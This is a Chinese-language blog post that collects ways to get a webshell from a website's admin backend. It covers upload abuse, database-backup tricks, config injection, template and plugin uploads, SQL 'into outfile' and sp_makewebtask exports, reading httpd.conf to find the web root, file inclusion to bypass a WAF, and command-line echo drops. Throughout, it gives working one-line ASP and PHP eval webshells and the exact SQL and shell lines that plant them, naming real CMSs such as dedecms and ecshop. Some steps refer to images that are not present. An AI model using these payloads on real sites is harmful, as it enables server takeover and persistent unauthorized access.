网站后台getshell的方法总结

方法一:直接上传getshell

以dedecms为例,后台可以直接上传脚本文件,从而getshell,具体方法如下:

即可成功上传大马,并成功执行,从而拿下webshell。

坑:通常由于权限限制,导致只有该目录权限,无法进入其他目录,此时便可以采用../跳转到根目录,或者其他目录,此时所采用的方法是如下的文件改名

方法二:数据库备份getshell

以南方数据cms为例:

1,首先上传一张图片马上去,并且获取图片马的路径

2,在系统管理处选择数据库备份,进行数据库备份getshell,具体操作方法如下:

然后使用菜刀连接即可成功getshell。

当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,比如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可)

<%eval request ("pass")%>

然后再通过备份数据库getshell。

方法三:修改网站上传类型配置拿webshell

有的网站在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型,如添加asp|php|jsp|aspx|asa|cer等来拿webshell。

方法四:利用文件解析漏洞来拿webshell

记录在了这篇博客上面:https://www.cnblogs.com/v01cano/p/10326366.html

方法五:网站配置插马拿webshell:

注:asp中单引号表示单行注释作用

“%><%eval request("v01cano")%><%'

一般先试试看该选项是否可以更改,如果可以更改,则插马试试,因为插马可能导致系统崩溃,所以一般需要首先需要本地搭建环境进行测试。

方法六:通过编辑器模板拿webshell

1,通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿webshell。比如ecshop

2,通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿webshell。

方法七:通过添加插件getshell

即利用网站管理员的添加插件功能getshell,将大马添加到插件的压缩包中,然后上传,从而getshell。比如wordpress,dz等等。

方法八:执行sql语句写入webshell

通过sql语句写入shell,首先执行错误的sql语句,使其暴露出网站的根目录:

select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";

关于此语句说明,在windows中有时候需要使用斜杠/有时候需要使用双反斜杠\末尾有时候需要分号,有时候也不需要分号。

以ecshop为例:

也可以先将一句话通过新建管理员写入到user表中,然后通过数据库备份配合解析漏洞拿shell。

方法九:通过数据库拿webshell

我们可以通过数据库执行命令导出一句话到网站根目录拿shell

access数据库导出一般需要利用解析漏洞xx.asp;.xml

sqlserver导出:

exec sp_makewebtask 'C:\test1.php',' select ''<%eval request("pass")%>'' '--

mysql命令导出getshell:

方法1

 Create TABLE xiaoma (xiaoma1 text NOT NULL);
 Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
 select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
 Drop TABLE IF EXISTS xiaoma;

方法2

select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'

方法3:方法1和方法2都是在网站根目录路径已知的时候写入shell,当数据库路径未知时,可以通过如下方法读取数据库路径:网站的根目录一般在网站配置文件httpd.conf中,而此目录的路径一般不变,一般在/apache/conf/httpd.conf中,(在phpmyadmin中的时候,我们可以选择变量选项观察其路径,进而推测httpd.conf的路径),在已知该文件路径的条件下,我们可以通过如下方法读取该文件中的内容:

//创建表a,并且将httpd.conf写入到表a中。
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;

然后执行导出操作,将该文件下载,使用notepad++打开,最后搜索documentroot,即可找到网站的根目录:

httpd.conf文件可能存在的一些路径:

linux中可能存在路径:

apache
/usr/local/mysql
/user/local/apache/conf/httpd.conf
/user/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/user/local/apache2/conf/httpd.conf

Nginx:

/user/local/nginx/conf/httpd.conf

方法四:直接通过load_file函数直接加载该文件内容

select load_file('C:/phpStudy/Apache/conf/httpd.conf');

但是需要在选项中进行如下配置才会显示出来:

方法n:还有通过日志拿shell的多种方式,已经记录在博客:

https://www.cnblogs.com/v01cano/p/10292670.html

方法十:通过文件包含拿webshell

先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可以绕过waf拿webshell。

常用的文件包含方法如下:

asp包含:
1,<!--#include file="123.jpg"-->
2,调用的文件必须和被调用的文件在同一目录,否则找不到
3,如果不在同一目录,用下面语句也可以:
<!--#include virtual="文件所在目录/123.jpg"-->

php包含:
<?php
Include('123.jpg');
?>

方法十一:命令执行拿webshell

Echo ^<^?php @eval($_POST[v01cano]);?^>^ >c:\1.php

^<^%eval request("cracer")%^>^ >c:\1.php

十二:没有进入后台如下拿webshell

  • 0day拿webshell

  • IIS写权限拿webshell(put一个shell进去)

  • 命令执行拿webshell

  • 通过注入漏洞拿webshell

  • 前台图片上传拿webshell

  • Strusts2拿webshell

  • java反序列拿shell

发表评论